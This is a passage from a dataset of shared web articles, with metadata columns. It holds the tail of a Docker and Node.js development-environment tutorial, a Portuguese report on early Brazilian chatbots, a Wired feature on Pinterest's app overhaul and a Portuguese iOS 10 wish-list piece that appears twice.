DRIVER STATE URL SWARM DOCKER ERRORS default * virtualbox Running tcp://192.168.99.100:2376 v1.9.1 Writing the Dockerfile Link This is where things get really interesting! The Dockerfile is essentially a step-by-step recipe for Docker to compile an image and create a container environment exactly the way you need it to be. For the sake of this tutorial, we'll need to set up a simple Node.js environment so that we can install libraries using npm and compile everything using Gulp. So, open Dockerfile in your favorite text editor, and let's get started! Because Docker images can be pushed to Docker Hub and shared with other people, putting your name and email address in there is always a good practice. So, go ahead and edit the second line: MAINTAINER You <me@example.com> You're on your own now - good luck! Just kidding. I left the rest empty so that we can fill it in together step by step. To tell Node.js that this is a development image, let's set the NODE_ENV environment variable to development : ENV NODE_ENV=development Then, we need to set the base folder inside the image for Docker to put files in. So, let's put this: WORKDIR /usr/local/src Now, we're ready to start copying files from the local file system to the image: COPY package.json /usr/local/src/package.json Having put package.json in there, let's install the dependencies: RUN npm install Now, we can copy our source files and start compiling with Gulp: COPY gulpfile.js /usr/local/src/gulpfile.js COPY .babelrc /usr/local/src/.babelrc COPY src /usr/local/src/src RUN npm run compile In case you're wondering why there are two COPY and RUN sections, Docker caches the results as intermediate images after each line. In this case, if we don't change the contents of package.json , it will just take the image from the previous run, with all of the npm dependencies already installed, making the build incomparably faster than if it had to do it from scratch every time. By default, Docker containers are completely locked down. So, we need to open a port for the Node.js server: EXPOSE 8877 Finally, all Docker images need a default command to be executed automatically when running the container. In our case, let's start a development Node.js server: CMD [""babel-node"", ""src/server""] Building the Image Link Before you can use it in a container, you have to build your image. Type the following (making sure to include the . at the end): $ docker build -t node-tutorial . Here, the -t parameter gives a name to the image; so, we can refer to it later without having to use the generated UUID hash. This might take a while because Docker needs to download the Node.js image and all of the npm dependencies. If everything has gone well, something like this should be at the end of the output: Step 12 : CMD babel-node src/server ---> Running in c5fc0a3a5940 ---> ee02b5ac9bf4 Removing intermediate container c5fc0a3a5940 Successfully built ee02b5ac9bf4 Run the Container Link At this point, you're ready to run the container! So, let's try this mouthful of a command - I'll explain later what each parameter means: $ docker run -p 8877:8877 -p 3001:3001 --name node-tut -v $(pwd)/src:/usr/local/src/src --sig-proxy=false node-tutorial npm run browsersync You should see the shell output inside Docker, with the Gulp compilation kicking off. And in a few seconds, the BrowserSync proxy should start up. So, if everything has gone well, things should be settling in, with something like these as the last few lines: [14:08:59] Finished 'watch' after 70 ms [14:08:59] [nodemon] child pid: 28 [14:08:59] [nodemon] watching 4 files [BS] [info] Proxying: [BS] Access URLs: ----------------------------------- Local: External: ----------------------------------- UI: UI External: ----------------------------------- [BS] Reloading Browsers... docker-tutorial 1.0.0 up and running on 8878 If that's the case, you've just passed another big milestone and are ready to see the results in a browser! Let's exit Docker's shell session by pressing Ctrl + C . In your own shell, type this: $ docker-machine ip default This should return the IP address of the Docker host's virtual machine. Knowing that, let's open our favorite development browser and paste in this address, followed by port 8877 . So, something like 192.168.99.100:8877 . If you're particularly adventurous, try editing any application-related file under src ; in a moment, you should see the page reload. Congratulations! You have a relatively complex Node.js environment running in Docker! With this moment of triumph, let's look back and see what we did with this long docker run command. The basic anatomy looks like this: docker run [OPTIONS] IMAGE [COMMAND] [ARG...] These were our OPTIONS : -p hostPort:containerPort This maps the container ports to the host so that you can expose and access the web server ports. -v hostDir:containerDir This mounts the local files and folders so that your local edits get pushed to the container without requiring a rebuild. --name containerName This assigns a name to your container so that you don't have to use the UUID hash. --sig-proxy=false This lets us exit from Docker's shell without killing the running process inside (by not proxying the SIGTERM - hence, the name). Finally, the name of the IMAGE is node-tutorial , and the COMMAND + ARG... are npm + run browsersync . I Want More! Link Images vs. Containers Link Perhaps one of the most important things to understand is the difference between images and containers. Images are read-only and come in layers. In the tutorial above, the layers are: the Debian Jessie base Linux image → the official Node.js 5 image → our customizations in the Dockerfile . These layers can be modified only by rebuilding the images; this way, you'll always know what you're getting, and it becomes a manageable process to share images in the Docker hub by building, pushing and pulling them. Containers, then, are the ""machines"" that run these images and add the layer of a writable file system on top. So, in the tutorial, the container is what enables volumes to be mounted and, with that, is what enables a way to keep on pushing and executing code inside without having to rebuild the entire image every time. Because of this immutable nature of images, don't expect files to stick around in a container when you restart it. This is why it's important to use file system volumes for your code and, once you get to a more advanced level and want to deploy to production, volume containers for databases, logs, etc. Docker Machine Link Apart from helping with some basic management of the Docker container host (picking the virtual machine or starting and stopping it), once you have several containers between and maybe even within projects or you want to deploy and manage them on a cloud provider, Docker Machine will give you some simple commands to help with these. Docker Hub and Registry Link Docker Hub is the place to go for community-maintained containers. These containers range from simple base Linux distribution flavors with the bare minimum ( Alpine is a great lean image, for example) all the way up to complete application stacks (for WordPress, Minecraft, etc.), ready to be started up and used. As well as the automatic builds, you also get web hooks. So, integrating your continuous integration or deployment system shouldn't be a problem. Kitematic Link While I'm reasonably comfortable with the terminal shell, I'm also the first to admit that, for example, unless I need to do something really complex with Git (like fixing a messed-up commit history), I won't bother doing it manually and will happily do my commits, diffs and interactive rebases in the SourceTree app. If you want to avoid the command line, that's totally fine. Docker recently bought the similarly open-source Kitematic, which is a simple but decent UI to drive Docker. It's still in its infancy but already lets you monitor logs; start, stop and restart containers; and view settings such as volumes, ports, etc. Docker in Production or Not? Link It is worth making clear that you don't need to commit to using Docker in production in order to use it to manage your development environment. You can stick to whatever way you're doing it now. In fact, in this case, even on the same team, people can use Docker or a local environment. It doesn't matter because the application code and repository will be the same except for the added Dockerfile . More Than Just Servers and Daemons Link Just to give you an idea of how versatile a tools container can be, you can even use them instead of locally installed desktop tools. For example, you can convert an image with ImageMagick without having to worry about installing it with all of its dependencies. So, if you have open.png in the current folder and you want a .jpg version, you can just do this: $ docker run --rm -v $(pwd):$(pwd) jess/imagemagick convert $(pwd)/open.png $(pwd)/open.jpg This will pull the tiny ImageMagick image, mount the current folder under the same path inside the container, do the conversion, sync the file back, exit, and remove itself when finished. Beyond Docker Link The Future Link Containerization will start a revolution in open source similar to what Git did, by making it much simpler to take any code and start compiling it right away. You can quote me on that. I'm fairly confident that we'll see more and more open-source projects - especially complex ones - embrace containerization for dependency management. All it takes is for someone to add a Dockerfile , after all. And in most cases, people may still choose not to use it and go with their existing local setup instead. This will dramatically lower the barrier to entry for newcomers to a project, enabling potentially an order of magnitude more people to get involved, just like Git and GitHub did. Takeaways Link Containerize any non-trivial development environment, especially legacy ones. Containerize your open-source projects to remove the barrier to entry for new contributors. Containerize other people's open-source projects, instead of setting up the environment on your local machine, so that you solve it for all. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ↑ Back to top Tweet it Share on Facebook",en
1461162965,CONTENT SHARED,4307023751244532288,-48161796606086482,-7847021070047236106,,,,HTML,http://www.mobiletime.com.br/19/04/2016/nascem-os-primeiros-chatbots-brasileiros/438107/news.aspx,MOBILE TIME - Nascem os primeiros chatbots brasileiros,"Nascem os primeiros chatbots brasileiros A onda dos chatbots - robôs que interagem com as pessoas através de aplicativos de comunicação instantânea - já chegou ao Brasil. Pelo menos três empresas do mercado brasileiro de conteúdo móvel contactadas por este noticiário estão construindo novos produtos e serviços seguindo essa tendência: Movile, Elo7 e Take.net. O assunto ganhou força depois que o Facebook disponibilizou na semana passada uma API para a construção de bots para o Messenger. ""Com a entrada do Messenger, o jogo começou para valer"", avalia Andreas Blazoudakis, vice-presidente de inovação da Movile. ""Temos seis células de inovação totalmente focadas em bots, cada uma delas trabalhando três ideias diferentes. Estamos testando cerca de 20 bots diferentes"", diz. A Movile tem neste momento 25 pessoas da área técnica dedicadas à construção de bots e que contam com orçamento exclusivo para essa finalidade. Até o final do ano serão 70 profissionais. Pelo menos três bots da Movile já estão prontos para funcionar no Messenger. O primeiro se chama ""Stadium"" e traz resultados de jogos de futebol. Ele foi originalmente desenvolvido para o Telegram e rapidamente adaptado para o Messenger. O segundo é um bot do serviço de música Superplayer com foco em faixas que aprimoram a produtividade das pessoas, para serem reproduzidas no ambiente de trabalho. Esse bot foi criado seis meses atrás para o Slack e acumula mais de 170 mil usuários - ou ""contatos"", para adotarmos um termo mais apropriado a essa interface. Por fim, a Movile desenvolveu um bot para o Messenger do seu serviço de consultoras de beleza ""Amei, amiga"". Neste caso o atendimento será híbrido, metade feito por um robô, metade pelas cerca de 200 atendentes cadastradas. O usuário pode começar vendo algum vídeo ou outro conteúdo multimídia sobre determinado produto servido pelo bot e, caso se interesse, prosseguir no processo de compra conversando com uma pessoa de verdade. Além desses três, a Movile também trabalha na criação de bots para o iFood, seu serviço de delivery de comida, e para o CinePapaya, seu serviço de venda on-line de ingressos de cinema em alguns países da América Latina. Como se percebe, bots não são assunto novo não Movile. A empresa está de olho nisso há pelo menos dois anos, desde que identificou a tendência ganhando força na Ásia, especialmente dentro do WeChat, principal app de comunicação instantânea da China. ""Esse é um dos primeiros movimentos de inovação em tecnologia móvel que não nasceu no Vale do Silício"", comenta Blazoudakis. Além do desenvolvimento dos bots em si, a empresa teve uma primeira experiência com comércio em bate-papo através do app Resolve Chat, sobre o qual publicamos uma matéria à parte ( leia aqui ). A Movile aposta em duas frentes a serem exploradas com bots: conteúdo e comércio local, com foco especial nesta última. ""A revolução dos bots estará em serviços O2O (online to offline). A parte de conteúdo vai ser legal, só que é mais do mesmo. Na China a revolução aconteceu em local commerce: o pequeno comerciante, que não podia criar um app e, portanto, estava fora da revolução móvel, passou a fazer parte dela com bots"", descreve o executivo. Talk7 Outra experiência brasileira com bots parte do Elo7, marketplace para a venda de produtos artesanais. Ele está testando um app chamado Talk7, voltado para seus vendedores que através do qual conversam com os consumidores e são auxiliados por um assistente virtual. Ao longo do bate-papo, esse assistente envia mensagens tanto para os vendedores quanto para os compradores com informações relevantes a cada etapa do processo, como o recebimento do pedido, o cálculo do frete e alertas sobre o fechamento da compra e envio da encomenda. O Talk7 está funcionando em caráter experimental desde o fim do ano passado e já acumula mais de 3,5 milhões de mensagens trocadas entre vendedores e compradores, além de outros 3,5 milhões enviadas pelo assistente virtual. ""Percebemos um aumento de mais de 10% em conversões em função da dinamização dos pedidos feitos dessa forma. Acontece um engajamento maior do vendedor. Além disso, o tíquete médio desses pedidos tende a ser maior, assim como a propensão à recompra. Mas são indicadores preliminares"", relata Guto Araújo, co-fundador do Talk7. ""O diferencial é poder fazer uma compra dentro da conversa, com todas as funcionalidades de e-commerce: pagamento, acompanhamento de entrega etc"", descreve. O próximo passo é conectar o Talk7 a outros canais de vendas dos artesãos, como WhatsApp e Instagram. Também há planos de adicionar elementos de inteligência artificial ao assistente, especialmente para responder às perguntas feitas mais frequentes, como o cálculo do frete. Take.net Pioneira na venda de ringtones no Brasil, ainda na época em que eram monofônicos, a Take.net também está se preparando para a era dos chatbots. Seu CEO e co-fundador, Roberto Oliveira, prefere usar o termo ""smart contacts"", ou ""contatos inteligentes"", pois entende que a automação não necessariamente é o mais importante nesta primeira fase, mas, sim, a migração de voz para mensageria na comunicação entre marcas e consumidores. ""Uma grande parte do que é feito via voz hoje em dia vai migrar rapidamente para mensageria. E a abertura dos aplicativos de comunicação instantânea para terceiros vai representar para os apps móveis o mesmo que o web browser representou para os softwares de desktop"", prevê o executivo. Oliveira entende que a Take.net está bem posicionada para surfar nessa nova tendência porque já trabalha com bots há 16 anos, só que dentro do SMS. Afinal, a compra de um ringtone através de mensagem de texto era, na prática, um exemplo de ""conversational commerce"". Havia inteligência por trás para buscar a música desejada, independentemente da forma como o usuário escrevia seu nome na mensagem, por exemplo. ""Estamos muito felizes porque fazemos isso há 16 anos e agora está virando moda. Eram aplicações que antes aconteciam via SMS e eram monetizadas por carrier billing. E agora estarão em outros canais e poderão ser monetizadas de outras maneiras"", resume. A Take.net está trabalhando há dois anos no desenvolvimento de novas soluções dentro desse conceito de ""smart contacts"" e vai apresentá-las em um painel no 15º Tela Viva Móvel , evento que acontecerá nos dias 3 e 4 de maio, no WTC, em São Paulo. Oliveira participará do painel ""A migração do SVA 1.0 para o SVA 2.0"", no dia 3, entre 16h e 17h30, junto com Alberto Leite, CEO da FS; Armindo Motta Jr, CEO e co-fundador da Wappa; Paulo Curio, vice-presidente da Movile; e Rafael Lunes, sócio-diretor da Gold360. O Tela Viva Móvel é organizado pela Converge Comunicações e promovido por MOBILE TIME e TELETIME. A grade do evento e informações sobre inscrições podem ser encontradas no site do congresso ou pelos telefones 0800-77-15028 e 11-3138-4619. Inscrições até 20 de abril contam com 15% de desconto. Série bots Esta é a quarta matéria da série sobre chatbots publicada por MOBILE TIME. As demais podem ser encontradas nos links abaixo.",pt
1461168731,CONTENT SHARED,1434312143013787309,-1443636648652872475,-2961416973329034740,,,,HTML,http://graphics.latimes.com/kobe-every-shot-ever/?,"Every shot Kobe Bryant ever took. All 30,699 of them","Kobe Bryant's 30,699th and final field goal came from 19 feet with 31 seconds left against the Utah Jazz. During his 20 years with the Lakers, he fired up more than 30,000 shots, including the regular season and playoffs. Take a tour of key shots over his 20-year career, or explore the makes and misses over his long career on your own.",en
1461171335,CONTENT SHARED,-8311338126170554747,-108842214936804958,-4966838106688071065,,,,HTML,http://www.wired.com/2016/04/pinterest-reinvents-prove-really-worth-billions/,Pinterest Reinvents Itself to Prove It's Really Worth Billions,"It's a week before Pinterest will announce its biggest engineering and design overhaul ever, and Ben Silbermann is really excited. Well, excited in a Ben Silbermann kind of way. He is, after all, an introverted, product-minded CEO. His voice has only one volume: fairly low. ""This is me excited, Jessi,"" he says. ""This is my high energy."" Nearly three dozen designers and engineers have spent the past several months tearing out the skeleton of Pinterest's iOS app and rebuilding it. They've rethought its design, down to the font. Silbermann helmed the process, bringing his kids by the office on the weekends while he checked in on the team as they raced to transform Pinterest into a sleeker, faster service. He passed up the McDonald's hash browns that the engineers ordered, instead pitching in by testing out the new build, surfing the app on an antiquated iPad 3 and iPhone 4 to make sure it worked great even on slower devices. The effort has paid off. Now, as we talk, the bugs are mostly gone. The pins are loading two or three times faster. And the launch is four days ahead of schedule. Who ever heard of an engineering overhaul finishing early? In many ways, Pinterest is a perfect reflection of Silbermann: It's a quiet overachiever. The social service offers a clean, efficient interface where people can save images or discover new ones. To the average pinner, the changes Pinterest is announcing today will seem subtle, even unnoticeable. But subtle is its own strategy. Beneath the surface, the company has made significant changes. Silbermann believes they can help transform the digital pinboard he and cofounders Evan Sharp and Paul Sciarra invented into the dominant global visual search engine. He thinks they will drive new people to try Pinterest and spend more time on it. ""We're trying to build a catalog of ideas for the entire world,"" he says. ""It's only as good as the diversity of ideas inside it."" Pinterest is already wildly popular-in America. Its success here happened suddenly. Pinterest was founded six years ago, but no one really noticed it at first. Then in 2012, it exploded into the mainstream, propelled by the mass adoration of mostly women, mostly in the middle of the country. There was Reese Witherspoon gushing about it to Conan O'Brien, and Mitt Romney's wife organizing her family photos on it. In March alone that year, the number of people using Pinterest jumped 52 percent, and venture capitalists began chasing after Silbermann with their checkbooks open. Four years later, Pinterest continues to grow; 87 million people use the service every month in the United States, according to ComScore, up 61 percent from a year earlier. That enthusiasm compelled US marketers to spend a reported $100 million on advertising in 2015. Though Pinterest President Tim Kendall won't confirm if that figure is correct, he says Pinterest quintupled its ad sales last year. Kendall says that a lot of people come to Pinterest because they're thinking about buying something. ""That's not consistently the case with really any other service,"" Kendall says. ""They're receptive to brands, and they're even looking for them."" But advertising is still novel for Pinterest, which didn't have any revenue model at all until 2014. For it to fulfill its promise as a global visual search engine-and a great place for brand advertising-it will need to transcend its initial American female audience and find a way to appeal to everyone. In the US, Pinterest hasn't been able to gain popularity among men at the same rate as women; 75 percent of the people using it are women, according to ComScore. And for all of the enthusiasm trained upon it domestically, Pinterest has had trouble translating itself internationally. Only 45 percent of the people who use it are abroad, according to Kendall, much less than Facebook or Twitter had at this point in their development. ""Pinterest was founded for and aimed at Midwestern moms, and that's been a strong base for them, but it's not necessarily true that mindset occurs throughout the world,"" says eMarketer principal analyst Debra Aho Williamson. ""It remains to be seen whether the idea of pinning and sharing is relevant in many markets."" Now, as the company reaches the social media equivalent of middle age, its success is not at all assured. It's a growing business, sure, but it has yet to prove that it is, as venture capitalists have anticipated it would be, an $11 billion business. When Pinterest raised money at that valuation last year, the company said it would generate $2.8 billion in ad sales by 2018, according to funding documents that were leaked to TechCrunch last fall; to do this, Pinterest will need to keep up the robust sales growth. This will require more people to sign on to the service and use it more frequently for more things. Which is why Silbermann has been coming in on the weekend. The changes the company is about to unleash will determine whether Pinterest can earn its deca-corn valuation, paving the way for a successful initial public offering, or whether it will remain forever niche-confined to the female crafters who first fell for it. Taste and Tech There are two reasons Pinterest hasn't grown as fast Internationally as Facebook and Twitter did early on. First, it's a different type of service that relies on showing people images that resonate with them, rather than connecting them to their friends. ""Messaging services are about finding the right people in your phonebook and giving you the tools to communicate with them,"" Silbermann says. ""Pinterest is about matching you with the right ideas."" Second, Pinterest just flat-out needs to work better, particularly on the low-end devices often found in different countries. The first issue concerns taste-a quality that is, as Silbermann says, as much art as science. Amassing and conveying ideas, it turns out, requires a nuanced understanding, and that understanding of themes and concepts is different in nearly every country. What's more, even when you know this, making the right choices about which images to show pinners isn't always intuitive. For example: If you're a foodie living in France, you really want to see French foods on Pinterest, Silbermann says. But if you're a French fashionista, then you want to see global styles, not only French ones. ""It's not as easy as just showing you a bunch of things in French,"" he says. 'We're trying to build a catalog of ideas for the entire world. It's only as good as the diversity of ideas inside it.' Pinterest CEO Ben Silbermann These subtle distinctions extend to the design of the interface as well. For example, typefaces that are popular in the US may not work as well other places. Last year when an employee from Pinterest's Tokyo office relocated to its San Francisco headquarters, she explained that for Japanese audiences, the Pinterest homepage inspired that feeling you get when someone tries to overcome a language barrier by talking louder. Of course none of this matters if Pinterest can't address its second issue: it must work reliably and quickly for everyone. ""Speed is one of those features people don't ask for but really appreciate,"" Silbermann says. ""It makes everything else you build a lot better."" And it can't crash or lag. Pinterest was initially engineered to work best on new devices like the latest iPhone, but if it's going to catch on other places, it also has to work just as well on that old iPad 3 or even a Motorola Moto G. Last summer, Silbermann decided it was time to tackle these problems. He dispatched researchers to better understand the cultural challenges. He sent them to the five markets in which Pinterest has concentrated its initial efforts by setting up offices: the United Kingdom, France, Germany, Brazil and Japan. As a result of their work, Pinterest has begun tweaking its algorithm so that pinners are shown culturally relevant images in the categories that matter to them. He also sent senior executives to visit regularly. And he began bringing people from other offices to headquarters more frequently. As important, Silbermann realized he needed to refashion Pinterest so it was irresistible to those audiences-faster and sleeker, with a new visual interface. He felt Pinterest needed a design approach that could appeal to a more diverse audience, an approach so minimalist it would train the people who use it to focus on the images they pin rather than on the icons on the page. That way, Pinterest could use the same page design to appeal to Korean men or British woman-they'd be attracted by the images they discovered and saved, not turned off by the stuff around them. Additionally, the company needed a new, more standardized approach to engineering-one that would allow the service to run faster but would also help the engineers working on it in the future to do their jobs faster so the company could release updates more quickly. It had, by this point, grown just enough that it no longer felt small. Now there were 300 engineers, and if things continued to go well, that number would continue to rise. As the company scaled upward, engineers and designers had to work harder to communicate with each other about the products they were building. Pinterest had started to look slightly different in the Web, Android, and iOS versions. A new engineering framework could help Pinterest work and look its best, no matter where a Pinner was using it. Solving Pinners' Problems If Pinterest's new release had spirit animals, they'd take the form of Scott Goodson and Tom Watson. They are very different: Watson is a tall (6'9"") designer who presides over a new design systems group from a minuscule Portland office that used to be a warehouse for Model Ts. Goodson is a Bay Area coder who graduated high school at 14, college at 18, and launched his career at Apple after he met Steve Jobs through a chance encounter (""My mom met a guy who knew him, and asked him to call me. I was at my grandma's house when he called out of the blue.""). Six months before Pinterest would need to pluck every last iOS engineer in the company off their projects to work on the new update, Goodson and Watson reconsidered how Pinterest should approach engineering and design. Goodson took on the engineering challenge. He had come from Facebook, where he built Paper, an app that flopped among Facebookers but impressed engineers. Now, as head of core experience at Pinterest, Goodson's job is to provide an engineering framework for Android, iOS and mobile web developers. He's in charge of providing engineers the tools and directions they need to improve Pinterest. He also makes sure that the way people used Pinterest is consistent, whether they're accessing it from a PC in Belgium or an iPhone 5 in Brazil. Along with a team of four other engineers, he spent the summer and early fall last year evaluating software options. By early November, they had landed on a strategy for the first platform they planned to tackle, iOS. They chose to embrace the open source AsyncDisplayKit framework, which Goodson had helped to write while at Facebook. This software allows engineers to execute code across multiple ""cores""-the individual processing units inside iPhones. ""iOS was designed a long time ago for single-core devices and placed a high priority on the simplicity of developing software,"" Goodson explains. With AsyncDislplayKit, developers would solve some big problems for pinners, who often swipe through multiple images in every direction on their screens in quick succession. By making use of multiple processors at the same time, Pinterest can prep upcoming photos at the same time as it renders the one you are browsing. You no longer have to wait even a split second for a new photo to materialize. Second, the software enables intelligent preloading- Pinterest can sense which images you are most likely to scroll to next, and load only those. Goodson says this will increase speed by a factor of at least two and increase the rate at which the app responds when winners press buttons by a factor of ten, while also putting less strain on a device. That means Pinterest will also work better on less powerful devices (In the process, Goodson's team developed the software's first official new version of the open source developer's kit, AsyncDisplayKit 2.0, which will launch within the next few months.) Around the time that Goodson was getting his ID badge and learning where the coffee was at in Pinterest headquarters, the company's creative director Andreas Pihlström and cofounder Sharp flew up to Portland to see Watson, who was the lead product designer. The trio had two objectives: They wanted the design to be more subtle so that people would notice the images being pinned instead of Pinterest's logo and icons. They hoped this would broaden its appeal-to more men as well as to people outside of the US. Also, they wanted a flexible page design that could work and look the same on any device, no matter the screen size. ""The more we standardized, the more efficient we could be as a group,"" Watson says. Watson and his crew drafted a system that relied on a series of columns stretched grid-like across the screen to adapt the design across devices. An iPhone 6, for example, might have two columns of images while an iPad might have four, but the images would look consistent-pinners would immediately recognize they were on Pinterest. These changes aren't likely to be especially noticeable, even to frequent users-more of a subtle touch-up that will make Pinterest look and feel the same on an Android or an iPhone, and will draw pinners to look first at the pins, instead of the icons. The new method will enable future teams to draw up plans for all devices at the same time, rather than having to design separately for every different screen. Meanwhile, graphic artist Susan Kare, who had made her name conceiving fonts and icons for Apple early on and joined Pinterest last summer, refreshed several of Pinterest's icons and designed new ones. Watson also developed a new approach to typefaces. In the West, we see a lot of Helvetica. But not every language looks good in the bold classic font. In particular, Japanese characters are better rendered in Hiragino, which has a lighter imprint, more similar to a brushstroke. Watson had to choose fonts that would allow the languages to complement each other visually on a page. ""If we don't choose the right font, and get the scaling to match exactly right, it will feel like you're not culturally appropriate to the country,"" he says. In Roman languages, Pinterest will use Helvetica Neue; when that doesn't render well, it'll rely on other fonts, like Hiragino for Japanese. By late fall, Watson had assembled Pinterest's design protocols on a Google doc available to the entire company. Goodson had built out the framework that would allow Pinterest engineers to rebuild the entire app in this new framework. It was crunch time. A Better Reflection In January, Pinterest moved most of its engineers to a new, larger office. The new digs, composed mostly of concrete and plywood, were built to look a lot like the service's app: clean and spare. And in one central location, a product manager named Adam Barton, who had been tasked with running the code and design overhaul, roped off a line of desks. He pulled all 20 of the company's iOS engineers from their projects. They joined Goodson, Watson, and a few other designers and engineers to embark on the overhaul. Each morning, the team met for 30 minutes, dialing in remote members from Portland and New York. ""I worked for 42 days straight,"" says Barton, whose early experience as a contract negotiator for Google had given him the skills to keep everyone on task. One of his most important jobs: He was the guy who went to McDonald's every Saturday to pick up the hash browns. The fast-food outlet requires a manager's approval for anyone buying more than $50 worth, according to Barton, so he'd have to ask the honcho on duty to sign off on the order. Meanwhile, everyone at Pinterest had access to the new software and was encouraged to test it. ""I reported bugs multiple times each day,"" Silbermann says. By the time I sat down with Silbermann and the other engineers and designers, the feat was largely done. Goodson was excited about a team trip to Vegas to see Calvin Harris. There was also talk of a camping trip, but someone still had to plan it. Silbermann was already looking beyond; the team will take on the Android platform next. In anticipation of this, he's swapped out his iPhone for a Nexus and a lower end Moto G. And in June, he'll spend most of the month on the road, visiting international offices and a few other places. Of course, if Pinterest's overhaul is a success, pinners won't really notice it. The ones using it on an iPad 3 may see that unlike most of their other newer apps, Pinterest isn't buggy and won't spontaneously shut down. Those of us who open it on our iPhones during lengthy conference calls to surf through images of tree house resorts or kitchen renovations (guilty, yes) may find it's more responsive and quicker. But really, the point is to make Pinterest much bigger by making it less of a big deal-less flashy, easier to use, and more of a utility. If more people spend more time browsing pins, it stands to reason advertisers will be drawn to spend more money on the site, too. Earlier this month, Pinterest announced plans to start selling ads in the UK. Companies often reflect the personalities of their founders. Engineers and product managers alike told me that as a boss, Silbermann is the kind of guy who listens more than he talks, and then reflects your best ideas and lets you be in charge of them. He wants Pinterest to be the kind of service that does the same thing.",en
1461172163,CONTENT SHARED,-389749390447363927,-2623844842607044962,6736993170665424602,,,,HTML,http://blogdoiphone.com/2016/04/conceito-ios-10/,Conceito mostra ideias que adoraríamos ver no futuro iOS 10,"O iOS 10 já tem data para ser apresentado: dia 13 de junho, na abertura da WWDC . Dificilmente informações sobre ele são vazadas antes do tempo, então é provável que teremos que esperar para ver o que a Apple está preparando para nós. Mas sonhar não custa nada e é isso que fez Federico Viticci, do site MacStories , fez. Chamou um designer que o ajudou a colocar em gráficos e vídeo o que ele imaginou, e reuniu tudo o que ele acha que deveria vir no novo sistema do iPhone e do iPad. Confira abaixo o vídeo (em inglês) e depois as nossas explicações. Central de Controle customizável Este é um desejo antigo dos usuários: poder incluir e excluir funções dos Ajustes no painel inferior do sistema. Além disso, atalhos nos botões da Central, parecido ao que já vimos aqui. Modo Escuro no Sistema Há quem goste de tons mais escuros na tela, então por que não disponibilizar um ""modo escuro"", que deixaria todo o sistema e aplicativos com tela preta. Nos Ajustes há uma função que faz algo parecido ( Ajustes > Geral > Acessibilidade > Inverter Cores ), mas inverte exatamente tudo, até fotos e imagens, o que é ruim. No Dark Mode a coisa seria feita da maneira certa. Mais atalhos no sistema No aplicativo Mensagens, um atalho para os Emoji facilitariam a procura da expressão exata que você precisar na hora. Eu mesmo demoro muito para achar o Emoji que quero. Sempre. Previsualização de links nas Mensagens Outros mensageiros, como o WhatsApp, já possuem isso. Você envia um link para um site ou um vídeo e ele já cria uma prévia visual antes mesmo de você clicar. Seria muito legal se a Apple adotasse isso. Uma sugestão minha, que não está no vídeo: possibilidade de editar fotos e imagens direto no aplicativo Mensagens, antes de enviar. Até o WhatsApp já tem isso, Apple. Melhor gerenciamento de arquivos Ainda não é muito intuitivo o gerenciamento de documentos e arquivos no iOS. O iCloud Drive prometia resolver isso, mas muitos ainda ficam confusos, principalmente ao baixar arquivos. Melhoria da multitarefa no iPad Uma das grandes novidades do iOS 9 foi a possibilidade de dividir a tela do iPad e usar dois aplicativos ao mesmo tempo. Mas está na hora disso evoluir. Por exemplo, poder arrastar elementos e seleções de um aplicativo a outro. Outra boa sugestão do vídeo é melhorar a forma de selecionar aplicativos no Slide Over . É uma tortura quando você tem dezenas de aplicativos, ter que escolher deslizando uma imensa e interminável coluna. Siri API Resumindo em uma forma nada técnica, API é uma maneira de desenvolvedores incorporarem em seus aplicativos alguma função ou serviço. Hoje, os apps não podem usar a Siri e ela só faz aquilo que a Apple deixa. A sugestão do vídeo é permitir que a assistente virtual tenha mais integração com os aplicativos de terceiros, o que nos permitiria fazer diversas coisas que hoje só são possíveis nos apps nativos do iOS. Enfim, o conceito ficou lindo e nos enche de esperanças para saber o que virá no novo iOS 10. Nós aqui estaremos de olho e traremos todas as novidades para vocês.",pt
1461172415,CONTENT REMOVED,-389749390447363927,-2623844842607044962,6736993170665424602,,,,HTML,http://blogdoiphone.com/2016/04/conceito-ios-10/,Conceito mostra ideias que adoraríamos ver no futuro iOS 10,"O iOS 10 já tem data para ser apresentado: dia 13 de junho, na abertura da WWDC . Dificilmente informações sobre ele são vazadas antes do tempo, então é provável que teremos que esperar para ver o que a Apple está preparando para nós. Mas sonhar não custa nada e é isso que fez Federico Viticci, do site MacStories , fez. Chamou um designer que o ajudou a colocar em gráficos e vídeo o que ele imaginou, e reuniu tudo o que ele acha que deveria vir no novo sistema do iPhone e do iPad. Confira abaixo o vídeo (em inglês) e depois as nossas explicações. Central de Controle customizável Este é um desejo antigo dos usuários: poder incluir e excluir funções dos Ajustes no painel inferior do sistema. Além disso, atalhos nos botões da Central, parecido ao que já vimos aqui. Modo Escuro no Sistema Há quem goste de tons mais escuros na tela, então por que não disponibilizar um ""modo escuro"", que deixaria todo o sistema e aplicativos com tela preta. Nos Ajustes há uma função que faz algo parecido ( Ajustes > Geral > Acessibilidade > Inverter Cores ), mas inverte exatamente tudo, até fotos e imagens, o que é ruim. No Dark Mode a coisa seria feita da maneira certa. Mais atalhos no sistema No aplicativo Mensagens, um atalho para os Emoji facilitariam a procura da expressão exata que você precisar na hora. Eu mesmo demoro muito para achar o Emoji que quero. Sempre. Previsualização de links nas Mensagens Outros mensageiros, como o WhatsApp, já possuem isso. Você envia um link para um site ou um vídeo e ele já cria uma prévia visual antes mesmo de você clicar. Seria muito legal se a Apple adotasse isso. Uma sugestão minha, que não está no vídeo: possibilidade de editar fotos e imagens direto no aplicativo Mensagens, antes de enviar. Até o WhatsApp já tem isso, Apple. Melhor gerenciamento de arquivos Ainda não é muito intuitivo o gerenciamento de documentos e arquivos no iOS. O iCloud Drive prometia resolver isso, mas muitos ainda ficam confusos, principalmente ao baixar arquivos. Melhoria da multitarefa no iPad Uma das grandes novidades do iOS 9 foi a possibilidade de dividir a tela do iPad e usar dois aplicativos ao mesmo tempo. Mas está na hora disso evoluir. Por exemplo, poder arrastar elementos e seleções de um aplicativo a outro. Outra boa sugestão do vídeo é melhorar a forma de selecionar aplicativos no Slide Over . É uma tortura quando você tem dezenas de aplicativos, ter que escolher deslizando uma imensa e interminável coluna. Siri API Resumindo em uma forma nada técnica, API é uma maneira de desenvolvedores incorporarem em seus aplicativos alguma função ou serviço. Hoje, os apps não podem usar a Siri e ela só faz aquilo que a Apple deixa. A sugestão do vídeo é permitir que a assistente virtual tenha mais integração com os aplicativos de terceiros, o que nos permitiria fazer diversas coisas que hoje só são possíveis nos apps nativos do iOS. Enfim, o conceito ficou lindo e nos enche de esperanças para saber o que virá no novo iOS 10. Nós aqui estaremos de olho e traremos todas as 